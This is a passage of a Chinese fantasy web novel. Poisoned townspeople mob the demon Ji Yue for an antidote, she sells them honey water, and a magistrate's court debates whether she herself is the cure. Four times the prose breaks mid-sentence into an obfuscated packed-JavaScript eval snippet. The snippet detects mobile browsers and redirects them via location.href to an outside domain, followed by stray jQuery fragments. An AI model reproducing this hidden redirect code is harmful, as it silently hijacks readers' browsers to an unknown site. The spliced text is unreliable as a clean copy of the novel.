飞奔过去推开门,一股冷风灌进来,冻得她打了个哆嗦。院中那棵银杏树的枝头空空如也,一点绿芽都没有。 哪是什么春天啊,分明只过了一夜。 一定是连番惊吓,打乱了她冬眠的节奏。 她郁闷地走出房,在沈府巡视一圈。 沈灵均在书房闭关。王妙仪还未醒,小脸惨白,看着可怜兮兮的。 论打架,季月是一把好手,论治病,她就一筹莫展了。 她信步踱去厨房吃了点东西,百无聊赖地在院中逛了一圈,想起琳琅阁坍塌,不知修得如何了,觉得应该回去看看。 韩思年爬在一架梯子上,指挥工匠把新制的匾额挂上大门。下人在底下心惊胆战地扶住梯子,生怕这个任性妄为的少爷摔下来。放着锦衣玉食的日子不过,跑到又脏又乱的工地修房子,修的还是别人家房子,实在荒唐。 外人不知,韩思年对琳琅阁感情颇深。眼前这堆碎石瓦砾,曾经是庭院深深,内有书声琅琅,墨香袅袅,他和师兄弟们在此苦熬五年,范老夫子虽专横苛刻,但这个地方毕竟承载了他的青春岁月。如今故人离散,往事如烟。 最初,他想把琳琅阁复原如旧,重现百年文脉的风采。 但转念一想,往者不可谏,来者犹可追。琳琅阁现在的主人是季月,新的营造风格,应该围绕她来设计。 比如那间占了整个西面的读书堂,不妨改建为茶室,挂上珠帘,供两人对坐,品茗谈天,看院中花开雨落,望天边云卷云舒,岂不快哉。 比如庭院正中那片空地,不妨凿一方清池,种满荷花。夏日赏荷,秋日挖莲藕,冬日对着枯叶吟诗,岂不风雅。 比如卧房的床,太窄了些,只够一个人睡,不如改大。门口的秋千,太小了些,只能一个人坐,不如再搭一架。 总而言之,孤芳自赏,不如双宿双飞。 最好是和自己双宿双飞。 韩思年看着废墟,点子一个接一个冒出来,拉着工匠滔滔不绝说个没完,完全沉浸在营建的乐趣之中。深夜归家,闷头睡了一觉,一清早又赶来琳琅阁。 庆真楼惨遭洗劫,上千人中毒倒下,这样轰动全县的大事,他竟一无所知。 旭日初升之时,韩思年指挥工匠挂好匾额,又把两块砖拿到阳光下看,在莲花纹和鱼鳞纹中举棋不定。 忽听到街道上一阵嘈杂。 两辆豪华马车把路口堵了,谁也不肯让开,车夫相对而立,破口大骂,车上的人却迫不及待地跳下来,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084241|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一后朝琳琅阁的方向奔来。 韩思年认得跑在前面的是玲珑绸缎庄的老板祝三娘,跑在后面的是张举人的爹,张老太爷。 两人还没奔近,就扯着嗓子喊起来,“季姑娘!季姑娘!” 韩思年微感奇怪。这两人都是端庄守礼之人,尤其是张老太爷,向来德高望重,怎么这会儿跑得像有老虎在后面追一样? 张老太爷到底年纪老迈,被祝三娘抢在前头。她跑得鬓发散乱,扑到刚修好的大门上,使出吃奶的力气猛锤,“妹子,快出来救命啊!” 韩思年慌忙拉住,这匾额上的漆还没干呢。 “这话从何说起啊?季姑娘出门未归。” 祝老板娘从怀里掏出一张皱皱巴巴的纸,“我从昨天一早就肚痛难忍,想吃桂花糕想得快发疯了,跑去庆真楼,什么都没抢到,回家就痛晕了过去。半夜醒来,发现床头放着这张纸。” 韩思年一瞥,纸上赫然是一幅季月的小像,用绿色墨汁画成,十分逼真,旁边还写了五个字,“解药此中藏”。 祝三娘道,“我和季姑娘一向交好,她手里若有解药,不会不给我的。” 张老太爷也跑到跟前,喘着气道,“季姑娘去了哪里,还请见告,内人等着她救命呢。” 他手里也攥着一张一模一样的纸。 韩思年一头雾水,问了半天,才搞清楚来龙去脉。 “庆真楼的点心?我也吃过啊,我怎么没事呢……” 他抬手在腹部按了按,不按不觉得,一按下去,似乎真有些隐隐作痛。 他脊背一凉,自己该不会也中了毒吧? 祝三娘察言观色,“韩公子,你现下没事,难保一直没事。只有吃了解药才能彻底放心啊。” 说话间,两边的车夫已经吵出了胜负,张老太爷的马车先行驶来,祝三娘的马车紧紧跟在后面。 然而两辆马车之后,还跟来了第三辆,第四辆……很快,玉川两岸,马车成行,每棵柳树下都挤了四五辆,车上下来许多衣饰华贵的体面人,齐齐往琳琅阁赶,手里无一例外拿着那幅画像,哭喊着要季月出来救命。 韩思年坚称季月不在,嘴皮子都快磨破了,众人还有不信的。 “我看啊,季姑娘就躲在里面。” “我和工匠师傅从昨天起就守在这里,确实没有见过季姑娘。” “你们守在这里做什么?是不是想独吞解药?大伙儿一起上,把门砸开。” 他们中有不少人前一天刚刚洗劫了庆真楼,砸门之事,做起来轻车熟路。 韩思年苦笑,“琳琅阁都塌了,你们自己看吧。” 他把大门打开,众人看见里面一片废墟,断壁残垣,皆是一惊。 祝三娘哇地一声哭了出来,“完了完了,解药定是被毁了。我们都没救了!” 她的哭声极有感染力,一时之间,人群里哀声大作。中毒者平日大都锦衣玉食,养尊处优,偶有小病小痛,立刻有大夫上门精心照料。这次被妖毒折磨了一天一夜,早已受不了了。 正在大放悲声,头顶上传来一个清亮的声音,“你们找我?” 35. 春风吹又生(八) 众人抬头一看,光秃秃的柳树枝干上斜坐着一人,红色裙摆在风中飘来荡去,恰似一朵红云。 这千娇百媚的面容,睥睨众生的神态,不正是大家千呼万唤的季月吗? 人群立即鼓噪起来,“季姑娘!请赐解药!” “季姑娘!快救救我们!” 季月奇道,“什么解药?” 上百人一同说话,她一句也没听清。 祝三娘一松手,画像被风卷起,飞到树梢。 季月伸手接过,看到自己的脸,先是一怔。旁边写的五个字,恰巧她都是认识的。 解药此中藏。 她把这薄薄的纸翻过来翻过去,对着阳光审视,哪里有什么解药? 再看那作画用的绿色,正是穿心草本来的颜色,仔细一闻,纸面上还残留着一丝妖气。 这可恶的老妖,又在耍什么花招! 季月把纸揉成一团,扔下树去,“我不知道你们在说什么。你们若实在难受,去找沈大人吧。” “我吃了沈大人给的药,毫无起色啊!” “你若没有解药,为何大家都收到这张纸呢?” “你是我们唯一的指望了。” “此事终归和你有关。” “季姑娘,你不妨回去仔细找找?” “季姑娘,你只要肯拿出来,价钱好商量。” 声音一浪高过一浪,季月根本插不进话。 祝三娘突然扑通一声跪倒在地,哭喊道,“发发慈悲吧!救人一命胜造七级浮屠啊!” 人们有样学样,转眼跪倒一片。 季月惊呆了。 她说的明明是实话,这些人怎么完全听不进去呢? 韩思年被挤得贴在墙根,动弹不得,高声劝道,“诸位街坊,先起来吧。让季姑娘从树上下来。” 一个络腮胡大汉吼道,“左右都是死,没有解药,我就跪死在这里!” 季月冷冷道,“你死你的,和我有什么相干?” 人群沸腾了。 “你这女子,怎能如此没有心肝!” “是啊,你见死不救,来日必遭报应!” 韩思年看季月斜坐枝头,脸上如同结了一层霜,很是替她着急。一个弱女子,遭此困局,想必已经方寸大乱。为今之计,只有想个妙法支开众人,掩护她逃跑。 街道完全堵死,走是走不过去了。他偷偷望了一眼身后的玉川。走水路,或许可行。但这个节骨眼,水面上连一艘小舢板都没有,上哪儿去找船夫呢? 他向河对岸望去,望月桥另一端,来了一队官差。一行人腰悬佩刀,大声呼喝,似乎在要求人群让开。 人群早就把望月桥的桥面铺满了,如同搭了一座“人桥”。官差们蛮横地从“人桥”上强行挤过来,惊叫呼痛之声此起彼伏。 过了桥,同样是乌泱乌泱的人,官差们手脚并用,左推右挤,如爬沙,如赶海,硬是将人潮撕开一道裂隙。为首的那人帽子都被撞歪了,高举一只手,粗着嗓子喊道,“奉县衙之命,捉拿季月,闲杂人等速速闪开!” 他举起来的那只手里,也拿着一张一模一样的纸。 季月耳朵尖,听得清清楚楚,怒极反笑,“县衙凭什么抓我?” 官差四下张望一圈,才发现声音来自头顶一棵柳树的枝干。他们奉命捉拿之人,正爬在树上不肯下来。 “大胆刁民,还不束手就擒?” 他话音未落,不慎绊在旁边一人的脚上,哎哟一声跌倒在地。 后面的人潮一层层涌上来,他匍匐在地,背后似有千钧之重,无数人的脚踩上来,痛得呕出血来。 眼看快被踩死,一只强有力的手抓住他的胳膊,把他提了起来。 这一下死里逃生,他揉着胸口,认出救命恩人乃是县衙年纪最小的衙役,许小宝。 许小宝抬起头,朗声说道,“月姐姐,是我啊。” 季月微微颔首。 许小宝住在琳琅阁隔壁,栖音用穿心草制成的琴弦杀人时,曾经把他当成目标。他如今还能先龙活跳地站在这里,多亏了季月一时心软,救了他一命。 “月姐姐,昨晚一夜之间,中毒之人都收到同一幅画像,说你有解药。此事干系甚大,知县大人有令,要抓……要请你回县衙说明原委。” “我已说过了,不知道什么解药。” 络腮胡大汉干嚎起来,“求知县大人为民做主啊!” 人群里哭的哭,闹的闹。许小宝高声喊道,“今日场面如此混乱,万一出了事,知县大人怪罪下来,恐怕要算在你头上,到时不好交待。” 季月瞪大眼睛,“荒唐!是他们自己要来的,与我何干?我说没有解药,他们又不信,莫非是中的毒渗进脑子了?县衙若真要追查此事,应该先想想,这些纸从何而来。” 那险些被踩吐血的官差好不容易喘匀了气。张老太爷不知何时挤到他边上,对着他耳语几句。那官差点点头,拔出刀,遥指季月,喝道,“不错,押进牢房,大刑伺候,看你说不说实话!” 季月的眼神像刀子一样,射向张老太爷,“这位老伯,我可曾得罪过你?” 张老太爷老脸红了红,小声嘟囔了几句,季月只依稀听到“解药”、“都没有活路”,云云。 她又好气又好笑,眼珠变红一瞬,官差手里的钢刀脱手飞出,在人群头顶翻了几个筋斗,扑通一声,掉进了玉川。 官差只感到手里一空,却因视线被挡,没见到刀落水,兀自在原地团团转,“刀去哪儿了?谁看到我的刀了?” 韩思年早就搬来工匠的梯子,爬到顶端,一直盯着玉川河面,这时突然大叫,“有船来了!季姑娘,快跳到船上逃走!” 上游果然有一艘乌篷小船缓缓驶来,船夫手执长篙,站在船尾,正好奇地伸长脖子看岸上的热闹。 季月冷笑。 她纵横妖界几百年,打了无数场架,有输有赢,从不逃走。 何况,面对弱小的人类,她何必要逃?大可以召一阵风,把这些人都吹进水里,填满玉川河道,落个耳根清净。 中了穿心草之毒不是他们的错,可他们实在是蠢到家了。 转念一想,草妖如此大费周章,画图留字陷害,不就是想把她卷进这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084242|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场争端吗?看她与众人相斗,既是报复徐知县强夺酒楼之恨,又是报复季月不肯带他去妖界之仇。 好一个阴险狡诈,心机深沉,步步为营,一箭双雕的老妖! 季月转转眼珠,有了主意,面向众人,朗声道,“好吧,你们既然口口声声说我有解药,我就给你们解药。” 下方百余人刹那间鸦雀无声,全都眼巴巴地望着她。 “明日辰时三刻来琳琅阁,带上银子,不可早到。” 百余张脸上渐渐露出狂喜的表情。 “我就说她有解药!” “我们有救了!” “带多少银子啊?” “还问什么,把家里银子全带上!” 方才诅咒季月的人伏在地上,砰砰磕头,“季姑娘大恩大德,将来必有后福!” 官差见她态度突然转变,怀疑道,“为何要明日再给?你可别耍花招,还是先随我们去衙门交代清楚。” 季月冷笑一声,“我若跟你走,这些人可就拿不到解药了。你们自行决断吧。” 这一招祸水东引,坐山观虎斗的计策,老妖使得,她也使得。 人群果然调转矛头,面向官差。 “带去衙门,还回得来吗?” “把她下狱,不等于要我们的命嘛!” “解药进了县衙,可未必能分给大家了。” 众人你一言我一语,聒噪个没完,张老太爷又贴在官差耳朵边说了几句。 官差拧着眉,和许小宝交换了眼色。 “今日暂且不抓你。解药之事,不得有误!闲杂人等,不要在此逗留,速速散了。” 人群退潮般散去。许多人还舍不得走,在树下徘徊,想找机会和季月搭话。 季月一概不理,坐在树上,望着一朵形似兔子的白云从东边飘到西边。 韩思年爬在梯子上,给她抛了只橘子,她接过来吃了。 有眼尖的,看出韩思年和季月关系非同一般,暗自盘算如何通过他接近季月。 到了午后,韩思年趁人不备,爬上梯子,对季月耳语,“我已备了辆马车,车上有五十两银子和几套衣服,你赶紧坐车往北走,离开南安县。” “我为什么要走?” “难道你真的有解药?” “没有还不能现做吗?你替我准备五百只装水的小瓶子,明天要用。” 韩思年惊疑不定,“要那么多瓶子做什么?” “我自有道理。” 天黑以后,季月才从树上下来。 她找了个僻静的角落,闭目凝神,运起功力,一束光晕从脚下慢慢往上移,逐渐移到头顶,最后脱离身体,凝结成一颗晶莹玉润的花蜜。 她伸掌托住。 花蜜是不可多得的好东西,给妖用,增进修为,还能疗伤,给人用,补气养颜,还能润燥。连妖界奸商白胡子老头见了这东西,都兴奋得两眼放光。 她从琳琅阁的废墟里挖出一只大水缸,灌满清水。用小指甲尖掐了一下花蜜,一把粉末落入缸中。水面在月色下泛出淡淡的柔光,还有一股若有似无的清香。 36. 春风吹又生(九) 第二日,天刚蒙蒙亮,韩思年就用马车运来五百只瓶子。 季月就在琳琅阁外支了个摊,竖起一块招牌,上面歪歪扭扭地写着,“蜜水,一两银子一瓶”。 琳琅阁内,工匠们心不在焉地开工,每隔一会儿就有人从院墙内探出脑袋,观察外面的动静。 辰时还未到,人群便蜂拥而至。 季月站在水缸边,手持长柄勺,比出一根手指头,“每人最多买一瓶。” 众人一看,区区一两银子就能买到解药,当即开始疯抢,银子像雨点一样砸来,很快就堆成小山。 许多人买了一瓶,揣在怀里,又混到队伍后面,再买第二瓶、第三瓶。 不过一个时辰,五百瓶蜜水就卖完了。 季月舀水舀得胳膊酸痛。韩思年数着银子,乐不可支,“季姑娘,照这个卖法,你的身家就快赶上庆真楼掌柜了。” “这些银子分你三成,明日,再准备五百只瓶子来。” “哦?解药要连吃几天才起效?” “那倒不是,”季月坏笑,“我想多赚点。” 巳时,衙门的人过来转了转。 季月没理会,把银子包起来,扛在肩上,打着呵欠回了沈府。 韩思年打发人去集市上采买瓶子,自己回琳琅阁监督工匠干活去了。 第三日,季月照旧清早出摊,买蜜水的人仍是络绎不绝,只是大家对这“解药”的效用颇有微词。 “我喝了解药,怎么仍不见好?” “我腹泻了半日,拉得腿都软了。” “我原本只是有些想吃茯苓膏,喝了这解药,反而变本加厉,馋得整夜睡不着觉。” 络腮胡大汉拿起一只瓶子,举到阳光下看,“季姑娘,你这里头装的,到底是不是解药啊?” 季月叹气,“我早就说过,我没有什么解药。” “什么?!” 当啷一声,瓶子掉在地上,摔得粉碎,蜜水流了一地。 “你存心诓我们!” 季月面无表情,“是你们非要逼我的。” 大汉的胡子根根颤抖起来,“大伙儿别买了,她是个骗子,这根本不是什么解药!” 排队的人群哗然。 韩思年脸色一白,不敢相信地看向季月。 季月屈起指节,敲了敲招牌,“这里写的清清楚楚,我卖的是蜜水,可不是什么解药。” 四周静了一瞬,随即,叫嚷声直冲天际,几乎把河里的鱼都震上了天。 “无耻!” “罪大恶极!” “让衙役把她带走!” “你赚这样的黑心钱,就不怕遭报应吗?” 络腮胡大汉跑到工地上,双手捧出一块巨大的砖,运足了力,朝季月脸上砸去。 韩思年惊呼,“小心!” 砖头眼看就要碰到季月的额头,却像被一堵无形气墙阻挡,弹起来,砸中了一旁的大水缸。 砰的一声,水缸边缘裂了个大口子,水哗哗地流出来,沾湿了路面,人们正在群情激奋,推推搡搡,脚下一打滑,摔倒一片,哭爹喊娘之声不绝于耳。 季月板着脸,对络腮胡大汉说,“你砸坏了水缸,这半缸蜜水,合二百五十两银子,由你来赔。” 韩思年忙跨出半步,拦在她身前,悄悄使了个眼色,示意她别再多说。 大汉气得满脸通红,用吃奶的力气喊道,“大伙快去衙门报官,把这个黑心的奸商抓起来!” “不必麻烦了,”人群后面传来一个冷冰冰的声音,“县衙沈灵均在此。” 他的声调不怎么高,却穿过了一切嘈杂。 季月隔着层层叠叠的人头,看到沈灵均的身影突然出现在半空,像一只没有翅膀的大鸟,越过汹涌人潮向她飞来,落在她和韩思年中间。 他满脸愠怒,一句话都没说,伸手揽住她的腰,带着她腾空而起。 季月猝不及防,尖叫了一声,沈灵均带着她又跃高几尺。脚下的房屋、街道、树木迅速远去,一张张呆呆仰望的人脸,都变作指甲盖大小。 他们逆着风疾飞,很快飞到庆真楼顶,沈灵均心念一动,带着季月落了下来。 这是南安县最高处,举目四望,朝阳遍洒金辉,小仓山郁郁葱葱,玉川水光潋滟,繁华街市,亭台楼阁,尽收眼底。 季月斜眼瞪他,“你干嘛?” “抓你回去。” “凭什么抓我?” “不好好睡觉,跑出来害人。” “我摆摊卖蜜水,诚信经营,童叟无欺,货真价实,绝不掺有毒的东西,比那个曹掌柜高出不知多少倍。” “可蜜水不是解药。” “我也没说是啊。他们口口声声问我要解药,不给就要把我下狱,大刑伺候,我实属被逼无奈。” 沈灵均怒道,“你赚了这么多黑心钱,就不怕被下狱了?” 季月翻了翻眼睛。怎么人人都说她黑心。她的花心明明是红的,他们看不见罢了。 无知的人类。 太阳在云层里钻进钻出,万道霞光照在小苍山上,烟岚雾霭,几度明灭。 季月道,“你这会儿义正严辞,他们围攻我的时候,怎么不出来说话?” “我闭关配制三花解毒丸,不知道外面出了这么大的事。”他横了她一眼,“已经焦头烂额了,还给我添乱。” 季月听出他这话里似乎有护短的意思。 “那我现在回去睡觉,可以吗,沈大人?” “不行。” “你真的要抓我下狱?”季月咬牙,“信不信我再拆一次县衙大牢?” 沈灵均叹了口气,一指前方。 小仓山的山头,正好飞出一群白鹭,每一只都伸长脖子,迎着朝阳展开双翅,冲破晨雾。它们绕着山峰盘旋而上,似一条洁白的玉带,在苍翠山间随风舞动。 沈灵均从小就爱看这些白鹭。见到它们展翅翱翔,再焦灼的心境都会慢慢平复。 他接连三日不眠不休,刚才又狂奔了一通,急吼吼地把季月从人堆里捞出来。怀里还揣着药丸,要赶去县衙找徐大人。 每件事都十万火急,可不知怎的,经过庆真楼,临时起意,停了下来。 他微笑道,“这些白鹭最爱在旭日初升的时候绕着山头飞,还会排各种队列。” 季月呆望那一行小小鸟,久久不语。 “它们每年冬天迁徙至此,来年开了春就飞走了。此时此刻,此地此景,可遇而不可求。” 季月张了张嘴,又闭上了。她不太忍心破坏气氛。 这样的山,放在妖界,只能算一个小土丘。这样的鸟,放在妖界,只能算一粒小尘埃。 看见白鹭盘旋小仓山就要欢喜赞叹的人,若是见了三足金乌越过昆仑山顶,还不得激动得涕泗横流,当场晕厥。 沈灵均目光灼灼地看过来。 她僵了僵,吐出两个字,“好看。” 沈灵均扬起眉毛,似乎嫌她夸得不够真诚。 季月问,“你特意飞得这么高,就是为了带我来这里看鸟吗?” 他转过头,耳根有些泛红,“等它们都飞回了巢,你就乖乖跟我回去。” 季月盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084243|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他左看右看,小声嘀咕,“沈大人行事,真是高深莫测。” 良久,身畔传来一句,“彼此彼此。” 南安县县衙。 徐知县端坐堂上,一脸怒容地听衙役讲述今早的闹剧。 “岂有此理!一个小小女子,竟敢把本官派去的人当傻子耍!你们这些饭桶,怎么让她跑了?” 衙役嗫喏,“是沈大人……” “什么?!” 沈灵均恰在此时赶到,“徐大人息怒,容下官禀告。” 徐知县哼了一声,“你且说来听听。” “草妖之毒,来势汹汹,但并非无法解救。舍妹早先也中了毒,服过三花解毒丸后,静养几日,现已转危为安。此药我曾分给众人,只是中毒之人甚多,无法顾全。好在师父临走前留下一批炼丹的原料,我已赶制出五百枚药丸,请县衙代为分发,助中毒之人度过难关。” 他双手呈上一只巨大的紫金葫芦。徐大人接过来,拿到耳边摇了摇,里面的药丸咣当作响。 “这药丸真的有用?” “三花解毒丸起效慢,需连续服用,配合静养。若是心浮气躁,东奔西走,症状反而会加重。” 徐大人一拍惊堂木,“说的是啊!本官刚刚听闻,有个叫季月的女子利用众人恐慌,大发不义之财,此等刁民,应当抓回来重重治罪!” “徐大人,几百名中毒者家中同时出现季月的画像,此事甚是蹊跷,极可能是曹掌柜祸水东引之计。” “不要顾左右而言他,你把那妖女弄哪儿去了?” “……她已知道错了,现在家闭门思过。” 徐知县的腮帮子鼓了起来,眼睛突起,正待喷出几句骂人话,却听到外面平地起惊雷。 那面自他到任后就没响过的登闻鼓,竟然捶响了! 衙役飞一样跑出去,不一会,架着一个瘦弱的老者进来。 那老者经络凸起的手中握着一根短棒,原来连鼓槌都是自带的。 徐知县眯起眼睛,“堂下何人?” “禀大人,小的是张举人的爹。” 徐知县想了想,本县好像是有一位张举人,如今在京城做官。他脸色登时和缓,挥挥手让衙役退下。 “张老太爷,你击鼓所为何事啊?” 张老太爷哆哆嗦嗦地从怀里掏出一张纸。不看也知道,就是那张画了季月头像的纸。 “小人有要事禀告。” 徐知县不耐烦道,“此事我已有耳闻,沈大人方才说了,这图恐怕是妖孽所绘,做不得数。“ 张老太爷鬼鬼祟祟地看了沈灵均一眼,压低声音,“小人所禀之事,只能告诉知县大人一个。” 堂上众人都觉得奇怪。公堂之上,从未有人提出这样的要求。 “请大人屏退左右!” 徐知县自从被草妖深夜偷袭后,心有余悸,恨不得上茅房都有人陪着。 “这就不必了吧。有什么话,你直说就是。” 张老太爷又瞄了沈灵均一眼。 沈灵均明白了,这老大爷是防着他呢。 张老太爷见没人理会他,干脆迈开步子,颤颤巍巍往堂上走。 衙役抽出刀喝止。 张老太爷很是执着,“我要在徐大人耳朵边说。” 徐大人无奈,“让他上来吧。” 张老太爷贴到徐知县耳边,窃窃私语,声音虽轻,却忘记遮挡嘴巴。 沈灵均会读唇语,脸色骤变。 这老头说的是:“解药此中藏,不是解药手中藏。季姑娘拿不出解药,只因她本人就是解药!” 37. 春风吹又生(十) 徐知县的嘴巴越张越大,“此话当真?” “当真!我们先前都会错了意,吃掉她本人才能解毒。” 沈灵均大叫一声,“不可!” 张老太爷吓得浑身一颤。他说得那么轻,沈大人怎么还是听到了? 徐知县道,“公堂之上,不得喧哗。” “公堂之上,怎能出此罔顾人伦之言?” 张老太爷壮起胆子,“知县大人,小人今早亲眼所见,沈大人有意包庇那妖女!” 徐大人揉着脖子,审视沈灵均, “你把那女子带来,本官要亲自审问。” “恕难从命!” “你说什么?!” “此女不知礼数,必会冲撞大人。” 徐大人忍无可忍,“荒唐!为了一个小小女子,连百姓的安危都不顾了!她是你什么人,要你如此回护?我若不把她揪出来,一县之长的颜面何存?!” 沈灵均暗想,你若只求速死,就对她动手吧。 “徐大人把她揪出来之后,准备怎么处置?“ “当然是秉公处置!” “像闻大人处置芸娘一样吗?” 徐知县险些背过气去。都乱成一锅粥了,他竟还有心思咬着那桩旧案不放。这个沈灵均,怕不是属狗的吧! 他连拍三下惊堂木,“你给我闭嘴!” 张老太爷来回看着两人,紧张得手心冒汗。 沈灵均正色道,“季姑娘也是百姓,不是你们的药。张老太爷,您诗书传家,德高望重,切莫晚节不保,做出那吃人的禽兽之举。” 张老太爷脸上一阵红一阵白,身子晃了晃,像是连站都站不住了。 沈灵均不去看他,“草妖如此操弄人心,必有所图,不会甘心就此销声匿迹。只要他再度现身,我必能抓住他。在此之前,请大人务必将三花解毒丸分给大家,为中毒之人争取时间。” 他行了一礼,转身就走。 徐大人气得直接把惊堂木扔了下去。 张老太爷失魂落魄地走出县衙,登上马车。 自从三年前,夫人患病卧床,一直是他亲自照料。夫人年轻时爱笑,爱看戏,爱吃甜食,他便把戏班子请到家里,陪她一起看。又吩咐管家每日去庆真楼买点心回来给夫人吃,雷打不动。 那天一早起来,夫人就神志不清,嘴里翻来覆去只有一句话,想吃庆真楼的莲子糕。 然而庆真楼已经查封。张老太爷心急如焚,不顾身子老迈,亲自出去奔走。 可惜运气不好,去晚一步,点心没抢到,药丸也没分到。 他一夜未眠。次日清早,在夫人床头发现那张纸的时候,一心以为是上天垂怜,给他们指了条生路。 他豁出这张老脸,寻到琳琅阁,逼迫季月,抢购蜜水,什么斯文礼节都顾不得了。 被沈灵均指着鼻子骂的时候,他惭愧得无地自容。 他何尝不想痛骂自己,可夫人与他青梅竹马,情深爱笃,相知相伴了一辈子。只要能换她重展笑颜,他什么事都愿意做。 马车突然急停。张老太爷掀开帘子,发现已回到自家后院。 院中衰草枯枝,一片萧瑟。他突然生出一种不详的预感。 服侍夫人的小丫头飞奔出来,扑倒在地,脸上泪痕宛然。 “老爷,夫人她……她没气了!” 张老夫人逝世的消息传出,坊间议论纷纷,大家都觉得,老太太虽已八十有二,若非不幸中毒,至少还能活到八十三岁寿辰的。 徐知县听说后,更是心慌意乱,当初曹掌柜威胁他,中毒七七四十九日之后,神仙难救,如今十日不到,已有人死亡。再拖下去,死的人只会更多。 与此同时,张老太爷的猜想也不胫而走:画中之人没有药,画中之人才是药。 吃人之事,太过骇人听闻,无人敢公开议论。但深受折磨、神志昏聩之际,总是忍不住去看那画上的人脸,一遍遍地想着,如果能有解药就好了。 庆真楼又被砸了一次,这次纯为泄愤。中毒者的家人朋友恨死了这间酒楼,扛着斧子榔头进去,见东西就砸,还有不少地痞流氓浑水摸鱼,大肆破坏。昔日一等一富贵雅致的地方,被毁得几乎只剩砖块。 又熬过几日,那些吃了药丸,安心静养的人,终于有了好转的迹象。 沈府。 王妙仪清早一睁开眼睛,就看到季月端坐床头,笑眯眯地看着自己。 “你……你怎么还没冬眠?” 季月轻叹,“难啊。昨晚刚找到点感觉,不料今早又醒了。只怕是这副身子出了什么毛病。” 王妙仪哼了一声,“诸多借口。” 前天,她说阳光刺眼,影响冬眠,把客房的窗帘都换成了不透光的。 昨天,她说晚饭后误饮了一杯浓茶,瞪着床帏,失眠到天明。 今天,她干脆说身体出了毛病。 分明就是故意赖在沈府。 表哥也不知喝了什么迷魂汤,竟然由着她折腾。 她讥讽道,“我看你别冬眠了,就在沈府长久住下吧。” “那可不行,你一见我就生气,万一气得狠了,毒性又发作起来,可怎么办?” 王妙仪脸色一白,“呸,乌鸦嘴。” 她昏迷之际,不知吞进多少苦药,好不容易才解了毒,心有余悸。 季月脸上坏笑,心里却苦。她是真的想冬眠,奈何似乎与沈府客房犯冲,早上不是冻醒、热醒,就是被鸟叫声吵醒,白日里呵欠连天,偏又睡不着,几天下来,脸色都见憔悴了。 看来只有等琳琅阁修好了,去院中弄一堆土,把头埋进去试试。 王妙仪拉紧被子,“我要起床了,你别坐在这里。” “我过来告诉你一声,早饭有红豆小圆子,去晚了就抢光了。” 王妙仪不屑道,“沈府书香门第,怎会有抢夺食物之事。” 季月的脸突然凑近,“可我失眠心情不好,想把你那一份也吃了。” “你……” 她伸舌头舔了舔嘴唇,转身就跑。 王妙仪掀开被子,就要去追,可大病初愈,起得太猛,眼冒金星,跌坐回床上。 她暗骂,这个可恶的季月! 季月跑到大厅,见桌上放着一口大锅,香气四溢。沈伯正在分红豆小圆子,四个小碗,只有沈灵均面前那个是满的。 “沈伯,多给我盛一碗!” 沈灵均抬眼,“又没睡成?” 季月吸了吸鼻子,“可不是嘛,气死我了。你呢,还没抓到曹掌柜?” 沈灵均黯然摇头。他带着罗盘,几乎把南安县跑遍了,一无所获,连草妖的影子都没找到。 季月从沈伯手里接过碗,也不顾烫,舀起汤就往嘴里送。 沈灵均看着她狼吞虎咽的架势,“如果一直无法冬眠,会不会对身体有损?” 他真正想问的是,会不会法力越来越弱,最终受制于我。 季月一对妙目忽闪忽闪,“沈大人这么关心我?” 沈灵均回以一笑。 “倒也不会有什么大妨碍,只是来年开花……开春的时候,会变瘦些。” 沈伯道,“季姑娘已然这么苗条,再瘦下去,可就皮包骨头了。” “所以我要多吃点。” 她把脸埋进碗里,不多时,一碗圆子就见了底。 沈灵均无声地把自己那碗推过去。 沈伯看他动都没动,奇道,“少爷,可是这圆子不合口味?” 沈灵均努了努嘴,“让她先吃吧,怪可怜的。” 沈伯转头看看季月风卷残云的吃相。 可怜?哪里可怜了? 轰隆。外头传来一声巨响,整个沈府抖了三抖。 轰隆。桌子摇晃,碗里的汤都泼了出来。 王妙仪匆匆赶来,刚到大厅门口,就被震得站立不定,抱着柱子才没摔倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白富这泼皮的嘴里,能说出佛祖舍身饲虎的话,必是有人教的。 “南安县百姓派我们来的,你们说是不是啊?” “是啊!沈大人你身为朝廷官员,应当心系百姓啊!” 